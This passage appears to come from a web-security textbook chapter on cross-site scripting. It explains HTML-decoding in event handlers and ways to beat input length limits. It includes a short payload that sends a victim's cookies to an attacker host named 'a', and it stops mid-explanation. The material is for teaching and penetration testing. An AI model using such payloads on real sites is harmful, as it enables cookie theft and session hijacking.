the-web-application-hackers-handbook

Chapter 12 n Attacking Users: Cross-Site Scripting 471
The fact that event handlers are HTML-decoded before being executed as
JavaScript represents an important caveat to the standard recommendation
of HTML-encoding user input to prevent XSS attacks. In this syntactic context,
HTML encoding is not necessarily an obstacle to an attack. The attacker himself
may even use it to circumvent other defenses.
Beating Length Limits
When the application truncates your input to a fixed maximum length, you
have three possible approaches to creating a working exploit.
The first, rather obvious method is to attempt to shorten your attack payload
by using JavaScript APIs with the shortest possible length and removing characters
that are usually included but are strictly unnecessary. For example, if you
are injecting into an existing script, the following 28-byte command transmits
the user’s cookies to the server with hostname a:
open(“//a/”+document.cookie)
Alternatively, if you are injecting straight into HTML, the following 30-byte
tag loads and executes a script from the server with hostname a:
On the Internet, these examples would obviously need to be expanded to
contain a valid domain name or IP address. However, on an internal corporate
network, it may actually be possible to use a machine with the WINS name a
to host the recipient server.
TIP You can use Dean Edwards’ JavaScript packer to shrink a given script as
much as possible by eliminating unnecessary whitespace. This utility also converts
scripts to a single line for easy insertion into a request parameter:
http://dean.edwards.name/packer/
The second, potentially more powerful technique for beating length limits
is to span an attack payload across multiple different locations where usercontrollable
input is inserted into the same returned page. For example, consider
the following URL:
https://wahh-app.com/account.php?page_id=244&seed=129402931&mode=normal
It returns a page containing the following: